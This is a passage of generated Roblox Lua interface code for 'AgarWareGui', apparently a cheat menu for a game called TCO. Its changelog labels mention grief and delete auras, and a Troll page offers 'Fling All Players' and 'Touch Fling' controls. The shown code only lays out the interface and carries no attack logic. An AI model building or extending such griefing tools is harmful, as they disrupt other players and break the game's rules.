New Features - Weird buttons added in the Troll page (TCO).]]; G2L["303"]["Name"] = [[Text]]; G2L["303"]["Position"] = UDim2.new(0.04605, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.8 G2L["304"] = Instance.new("Frame", G2L["2f2"]); G2L["304"]["BorderSizePixel"] = 0; G2L["304"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["304"]["Size"] = UDim2.new(0, 152, 0, 117); G2L["304"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["304"]["Name"] = [[V2.8.8]]; G2L["304"]["LayoutOrder"] = 992; G2L["304"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.8.Text G2L["305"] = Instance.new("TextLabel", G2L["304"]); G2L["305"]["TextWrapped"] = true; G2L["305"]["BorderSizePixel"] = 0; G2L["305"]["TextSize"] = 12; G2L["305"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["305"]["TextYAlignment"] = Enum.TextYAlignment.Top; G2L["305"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["305"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["305"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["305"]["BackgroundTransparency"] = 1; G2L["305"]["RichText"] = true; G2L["305"]["Size"] = UDim2.new(0, 133, 0, 111); G2L["305"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["305"]["Text"] = [[===== v2.8.7 > v2.8.8
New Features - Added Anti Vampire, a preview of the new troll page being added in v2.9.
Changes - Updated the looks and layout in the Menu page.]]; G2L["305"]["Name"] = [[Text]]; G2L["305"]["Position"] = UDim2.new(0.04605, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.9 G2L["306"] = Instance.new("Frame", G2L["2f2"]); G2L["306"]["BorderSizePixel"] = 0; G2L["306"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["306"]["Size"] = UDim2.new(0, 152, 0, 103); G2L["306"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["306"]["Name"] = [[V2.8.9]]; G2L["306"]["LayoutOrder"] = 991; G2L["306"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.9.Text G2L["307"] = Instance.new("TextLabel", G2L["306"]); G2L["307"]["TextWrapped"] = true; G2L["307"]["BorderSizePixel"] = 0; G2L["307"]["TextSize"] = 12; G2L["307"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["307"]["TextYAlignment"] = Enum.TextYAlignment.Top; G2L["307"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["307"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["307"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["307"]["BackgroundTransparency"] = 1; G2L["307"]["RichText"] = true; G2L["307"]["Size"] = UDim2.new(0, 133, 0, 76); G2L["307"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["307"]["Text"] = [[===== v2.8.8 > v2.8.9
New Features - Added restore brick and anti glitch. (TCO)
OPTIMISING MY GUI CURRENTLY, GRIEF AURA AND GRIEF WILL BE ADDED AFTER!]]; G2L["307"]["Name"] = [[Text]]; G2L["307"]["Position"] = UDim2.new(0.04605, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.10 G2L["308"] = Instance.new("Frame", G2L["2f2"]); G2L["308"]["BorderSizePixel"] = 0; G2L["308"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["308"]["Size"] = UDim2.new(0, 152, 0, 168); G2L["308"]["Position"] = UDim2.new(0, 0, -0.10989, 0); G2L["308"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["308"]["Name"] = [[V2.8.10]]; G2L["308"]["LayoutOrder"] = 990; G2L["308"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.10.Text G2L["309"] = Instance.new("TextLabel", G2L["308"]); G2L["309"]["TextWrapped"] = true; G2L["309"]["BorderSizePixel"] = 0; G2L["309"]["TextSize"] = 12; G2L["309"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["309"]["TextYAlignment"] = Enum.TextYAlignment.Top; G2L["309"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["309"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["309"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["309"]["BackgroundTransparency"] = 1; G2L["309"]["RichText"] = true; G2L["309"]["Size"] = UDim2.new(0, 133, 0, 118); G2L["309"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["309"]["Text"] = [[===== v2.8.9 > v2.8.10
New Features - Added B-Kit UI Fix in misc.
Bug Fixes - Fixed anti glitch from being an anti teleport, added both anti tp, glitch. Fixed anti maptide nan, now only teleports when spawn is bugged + teleports to coordnates 0, 0, 0 instead of a player.]]; G2L["309"]["Name"] = [[Text]]; G2L["309"]["Position"] = UDim2.new(0.04605, 0, -0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.9.0 G2L["30a"] = Instance.new("Frame", G2L["2f2"]); G2L["30a"]["BorderSizePixel"] = 0; G2L["30a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["30a"]["Size"] = UDim2.new(0, 152, 0, 76); G2L["30a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["30a"]["Name"] = [[V2.9.0]]; G2L["30a"]["LayoutOrder"] = 989; G2L["30a"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.9.0.Text G2L["30b"] = Instance.new("TextLabel", G2L["30a"]); G2L["30b"]["TextWrapped"] = true; G2L["30b"]["BorderSizePixel"] = 0; G2L["30b"]["TextSize"] = 12; G2L["30b"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["30b"]["TextYAlignment"] = Enum.TextYAlignment.Top; G2L["30b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["30b"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["30b"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["30b"]["BackgroundTransparency"] = 1; G2L["30b"]["RichText"] = true; G2L["30b"]["Size"] = UDim2.new(0, 133, 0, 82); G2L["30b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["30b"]["Text"] = [[===== v2.8.10 > v2.9.0
New Features - NEW GRIEF TAB, added ping on the top bar.
Grief aura coming soon.]]; G2L["30b"]["Name"] = [[Text]]; G2L["30b"]["Position"] = UDim2.new(0.04605, 0, -0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.9.1 G2L["30c"] = Instance.new("Frame", G2L["2f2"]); G2L["30c"]["BorderSizePixel"] = 0; G2L["30c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["30c"]["Size"] = UDim2.new(0, 152, 0, 113); G2L["30c"]["Position"] = UDim2.new(0, 0, -0.09158, 0); G2L["30c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["30c"]["Name"] = [[V2.9.1]]; G2L["30c"]["LayoutOrder"] = 988; G2L["30c"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.9.1.Text G2L["30d"] = Instance.new("TextLabel", G2L["30c"]); G2L["30d"]["TextWrapped"] = true; G2L["30d"]["BorderSizePixel"] = 0; G2L["30d"]["TextSize"] = 12; G2L["30d"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["30d"]["TextYAlignment"] = Enum.TextYAlignment.Top; G2L["30d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["30d"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["30d"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["30d"]["BackgroundTransparency"] = 1; G2L["30d"]["RichText"] = true; G2L["30d"]["Size"] = UDim2.new(0, 133, 0, 112); G2L["30d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["30d"]["Text"] = [[===== v2.9.0 > v2.9.1
Bug Fixes - Fixed anti fling not working, dropdowns not working, grief tab not deleting properly.
Changes - changed delete all blocks to delete aura.]]; G2L["30d"]["Name"] = [[Text]]; G2L["30d"]["Position"] = UDim2.new(0.04605, 0, -0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.TCOGroup G2L["30e"] = Instance.new("Frame", G2L["2e9"]); G2L["30e"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17); G2L["30e"]["BorderMode"] = Enum.BorderMode.Middle; G2L["30e"]["Size"] = UDim2.new(0, 170, 0, 104); G2L["30e"]["Position"] = UDim2.new(0, 0, 0.24722, 0); G2L["30e"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["30e"]["Name"] = [[TCOGroup]]; G2L["30e"]["LayoutOrder"] = 2; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.TCOGroup.TCOScript G2L["30f"] = Instance.new("LocalScript", G2L["30e"]); G2L["30f"]["Name"] = [[TCOScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.TCOGroup.UIListLayout G2L["310"] = Instance.new("UIListLayout", G2L["30e"]); G2L["310"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.TCOGroup.TCOAccentColor G2L["311"] = Instance.new("Frame", G2L["30e"]); G2L["311"]["BackgroundColor3"] = Color3.fromRGB(140, 140, 140); G2L["311"]["AutomaticSize"] = Enum.AutomaticSize.X; G2L["311"]["Size"] = UDim2.new(0, 169, 0, 2); G2L["311"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0); G2L["311"]["BorderColor3"] = Color3.fromRGB(117, 117, 117); G2L["311"]["Name"] = [[TCOAccentColor]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.TCOGroup.TCOTitle G2L["312"] = Instance.new("TextLabel", G2L["30e"]); G2L["312"]["TextWrapped"] = true; G2L["312"]["BorderSizePixel"] = 0; G2L["312"]["TextSize"] = 14; G2L["312"]["TextScaled"] = true; G2L["312"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["312"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["312"]["TextColor3"] = Color3.fromRGB(190, 190, 190); G2L["312"]["BackgroundTransparency"] = 0.95; G2L["312"]["Size"] = UDim2.new(0, 169, 0, 15); G2L["312"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["312"]["Text"] = [[TCO]]; G2L["312"]["LayoutOrder"] = 1; G2L["312"]["Name"] = [[TCOTitle]]; G2L["312"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.TCOGroup.TCOTitle.TitleScript G2L["313"] = Instance.new("LocalScript", G2L["312"]); G2L["313"]["Name"] = [[TitleScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.TCOGroup.TCOTitle.TCOMinimize G2L["314"] = Instance.new("TextButton", G2L["312"]); G2L["314"]["BorderSizePixel"] = 0; G2L["314"]["TextSize"] = 14; G2L["314"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["314"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["314"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["314"]["BackgroundTransparency"] = 1; G2L["314"]["Size"] = UDim2.new(0, 20, 0, 15); G2L["314"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["314"]["Text"] = [[-]]; G2L["314"]["Name"] = [[TCOMinimize]]; G2L["314"]["Position"] = UDim2.new(0.88166, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.TCOGroup.BlockCountRow G2L["315"] = Instance.new("Frame", G2L["30e"]); G2L["315"]["BorderSizePixel"] = 0; G2L["315"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["315"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["315"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["315"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["315"]["Name"] = [[BlockCountRow]]; G2L["315"]["LayoutOrder"] = 4; G2L["315"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.TCOGroup.BlockCountRow.Text G2L["316"] = Instance.new("TextLabel", G2L["315"]); G2L["316"]["BorderSizePixel"] = 0; G2L["316"]["TextSize"] = 14; G2L["316"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["316"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["316"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["316"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["316"]["BackgroundTransparency"] = 1; G2L["316"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["316"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["316"]["Text"] = [[🧱 Total Blocks: 0]]; G2L["316"]["Name"] = [[Text]]; G2L["316"]["Position"] = UDim2.new(0.02367, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.TCOGroup.AdminRow G2L["317"] = Instance.new("Frame", G2L["30e"]); G2L["317"]["BorderSizePixel"] = 0; G2L["317"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["317"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["317"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["317"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["317"]["Name"] = [[AdminRow]]; G2L["317"]["LayoutOrder"] = 4; G2L["317"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.TCOGroup.AdminRow.Text G2L["318"] = Instance.new("TextLabel", G2L["317"]); G2L["318"]["BorderSizePixel"] = 0; G2L["318"]["TextSize"] = 14; G2L["318"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["318"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["318"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["318"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["318"]["BackgroundTransparency"] = 1; G2L["318"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["318"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["318"]["Text"] = [[👤 Admin: N\A]]; G2L["318"]["Name"] = [[Text]]; G2L["318"]["Position"] = UDim2.new(0.02367, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.TCOGroup.TotalTimeRow G2L["319"] = Instance.new("Frame", G2L["30e"]); G2L["319"]["BorderSizePixel"] = 0; G2L["319"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["319"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["319"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["319"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["319"]["Name"] = [[TotalTimeRow]]; G2L["319"]["LayoutOrder"] = 4; G2L["319"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.TCOGroup.TotalTimeRow.Text G2L["31a"] = Instance.new("TextLabel", G2L["319"]); G2L["31a"]["BorderSizePixel"] = 0; G2L["31a"]["TextSize"] = 14; G2L["31a"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["31a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["31a"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["31a"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["31a"]["BackgroundTransparency"] = 1; G2L["31a"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["31a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["31a"]["Text"] = [[🕛 All Time: 000000]]; G2L["31a"]["Name"] = [[Text]]; G2L["31a"]["Position"] = UDim2.new(0.02367, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.TCOGroup.EnlightenRow G2L["31b"] = Instance.new("Frame", G2L["30e"]); G2L["31b"]["BorderSizePixel"] = 0; G2L["31b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["31b"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["31b"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["31b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["31b"]["Name"] = [[EnlightenRow]]; G2L["31b"]["LayoutOrder"] = 4; G2L["31b"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.TCOGroup.EnlightenRow.Text G2L["31c"] = Instance.new("TextLabel", G2L["31b"]); G2L["31c"]["BorderSizePixel"] = 0; G2L["31c"]["TextSize"] = 14; G2L["31c"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["31c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["31c"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["31c"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["31c"]["BackgroundTransparency"] = 1; G2L["31c"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["31c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["31c"]["Text"] = [[🌟 Enlighten Users: 0]]; G2L["31c"]["Name"] = [[Text]]; G2L["31c"]["Position"] = UDim2.new(0.02367, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage G2L["31d"] = Instance.new("ScrollingFrame", G2L["17"]); G2L["31d"]["Visible"] = false; G2L["31d"]["Active"] = true; G2L["31d"]["BorderSizePixel"] = 0; G2L["31d"]["CanvasSize"] = UDim2.new(0, 0, 1.5, 0); G2L["31d"]["Name"] = [[TrollPage]]; G2L["31d"]["BackgroundColor3"] = Color3.fromRGB(255, 0, 0); G2L["31d"]["Size"] = UDim2.new(0, 349, 0, 250); G2L["31d"]["ScrollBarImageColor3"] = Color3.fromRGB(0, 0, 0); G2L["31d"]["Position"] = UDim2.new(0.02329, 0, 0.03008, 0); G2L["31d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["31d"]["ScrollBarThickness"] = 0; G2L["31d"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide G2L["31e"] = Instance.new("Frame", G2L["31d"]); G2L["31e"]["BorderSizePixel"] = 0; G2L["31e"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18); G2L["31e"]["Size"] = UDim2.new(0, 170, 0, 360); G2L["31e"]["Position"] = UDim2.new(0, 0, 0.00439, 0); G2L["31e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["31e"]["Name"] = [[TrollLeftSide]]; G2L["31e"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.UIListLayout G2L["31f"] = Instance.new("UIListLayout", G2L["31e"]); G2L["31f"]["Padding"] = UDim.new(0, 7); G2L["31f"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup G2L["320"] = Instance.new("Frame", G2L["31e"]); G2L["320"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17); G2L["320"]["BorderMode"] = Enum.BorderMode.Middle; G2L["320"]["Size"] = UDim2.new(0, 170, 0, 122); G2L["320"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["320"]["Name"] = [[FlingGroup]]; G2L["320"]["LayoutOrder"] = 2; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.FlingScript G2L["321"] = Instance.new("LocalScript", G2L["320"]); G2L["321"]["Name"] = [[FlingScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.UIListLayout G2L["322"] = Instance.new("UIListLayout", G2L["320"]); G2L["322"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.FlingAccentColor G2L["323"] = Instance.new("Frame", G2L["320"]); G2L["323"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255); G2L["323"]["AutomaticSize"] = Enum.AutomaticSize.X; G2L["323"]["Size"] = UDim2.new(0, 169, 0, 2); G2L["323"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0); G2L["323"]["BorderColor3"] = Color3.fromRGB(0, 92, 189); G2L["323"]["Name"] = [[FlingAccentColor]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.FlingTitle G2L["324"] = Instance.new("TextLabel", G2L["320"]); G2L["324"]["TextWrapped"] = true; G2L["324"]["BorderSizePixel"] = 0; G2L["324"]["TextSize"] = 14; G2L["324"]["TextScaled"] = true; G2L["324"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["324"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["324"]["TextColor3"] = Color3.fromRGB(190, 190, 190); G2L["324"]["BackgroundTransparency"] = 0.95; G2L["324"]["Size"] = UDim2.new(0, 169, 0, 15); G2L["324"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["324"]["Text"] = [[Fling]]; G2L["324"]["LayoutOrder"] = 1; G2L["324"]["Name"] = [[FlingTitle]]; G2L["324"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.FlingTitle.FlingMinimize G2L["325"] = Instance.new("TextButton", G2L["324"]); G2L["325"]["BorderSizePixel"] = 0; G2L["325"]["TextSize"] = 14; G2L["325"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["325"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["325"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["325"]["BackgroundTransparency"] = 1; G2L["325"]["Size"] = UDim2.new(0, 20, 0, 15); G2L["325"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["325"]["Text"] = [[-]]; G2L["325"]["Name"] = [[FlingMinimize]]; G2L["325"]["Position"] = UDim2.new(0.88166, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.FlingAllRow G2L["326"] = Instance.new("Frame", G2L["320"]); G2L["326"]["BorderSizePixel"] = 0; G2L["326"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["326"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["326"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["326"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["326"]["Name"] = [[FlingAllRow]]; G2L["326"]["LayoutOrder"] = 10; G2L["326"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.FlingAllRow.FlingAllButton G2L["327"] = Instance.new("TextButton", G2L["326"]); G2L["327"]["TextSize"] = 14; G2L["327"]["TextColor3"] = Color3.fromRGB(255, 0, 0); G2L["327"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["327"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["327"]["Size"] = UDim2.new(0, 161, 0, 16); G2L["327"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["327"]["Text"] = [[Fling All Players]]; G2L["327"]["Name"] = [[FlingAllButton]]; G2L["327"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.TouchFlingRow G2L["328"] = Instance.new("Frame", G2L["320"]); G2L["328"]["BorderSizePixel"] = 0; G2L["328"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["328"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["328"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["328"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["328"]["Name"] = [[TouchFlingRow]]; G2L["328"]["LayoutOrder"] = 2; G2L["328"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.TouchFlingRow.TouchFlingScript G2L["329"] = Instance.new("LocalScript", G2L["328"]); G2L["329"]["Name"] = [[TouchFlingScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.TouchFlingRow.TouchFlingTickBox G2L["32a"] = Instance.new("TextButton", G2L["328"]); G2L["32a"]["TextSize"] = 14; G2L["32a"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["32a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["32a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["32a"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["32a"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["32a"]["Text"] = [[]]; G2L["32a"]["Name"] = [[TouchFlingTickBox]]; G2L["32a"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.TouchFlingRow.TouchFlingText G2L["32b"] = Instance.new("TextLabel", G2L["328"]); G2L["32b"]["BorderSizePixel"] = 0; G2L["32b"]["TextSize"] = 14; G2L["32b"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["32b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["32b"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["32b"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["32b"]["BackgroundTransparency"] = 1; G2L["32b"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["32b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["32b"]["Text"] = [[Touch Fling]]; G2L["32b"]["Name"] = [[TouchFlingText]]; G2L["32b"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.FlingTypeRow G2L["32c"] = Instance.new("Frame", G2L["320"]); G2L["32c"]["BorderSizePixel"] = 0; G2L["32c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["32c"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["32c"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["32c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["32c"]["Name"] = [[FlingTypeRow]]; G2L["32c"]["LayoutOrder"] = 5; G2L["32c"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.FlingTypeRow.FlingTypeTooltip G2L["32d"] = Instance.new("LocalScript", G2L["32c"]); G2L["32d"]["Name"] = [[FlingTypeTooltip]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.FlingTypeRow.FlingType G2L["32e"] = 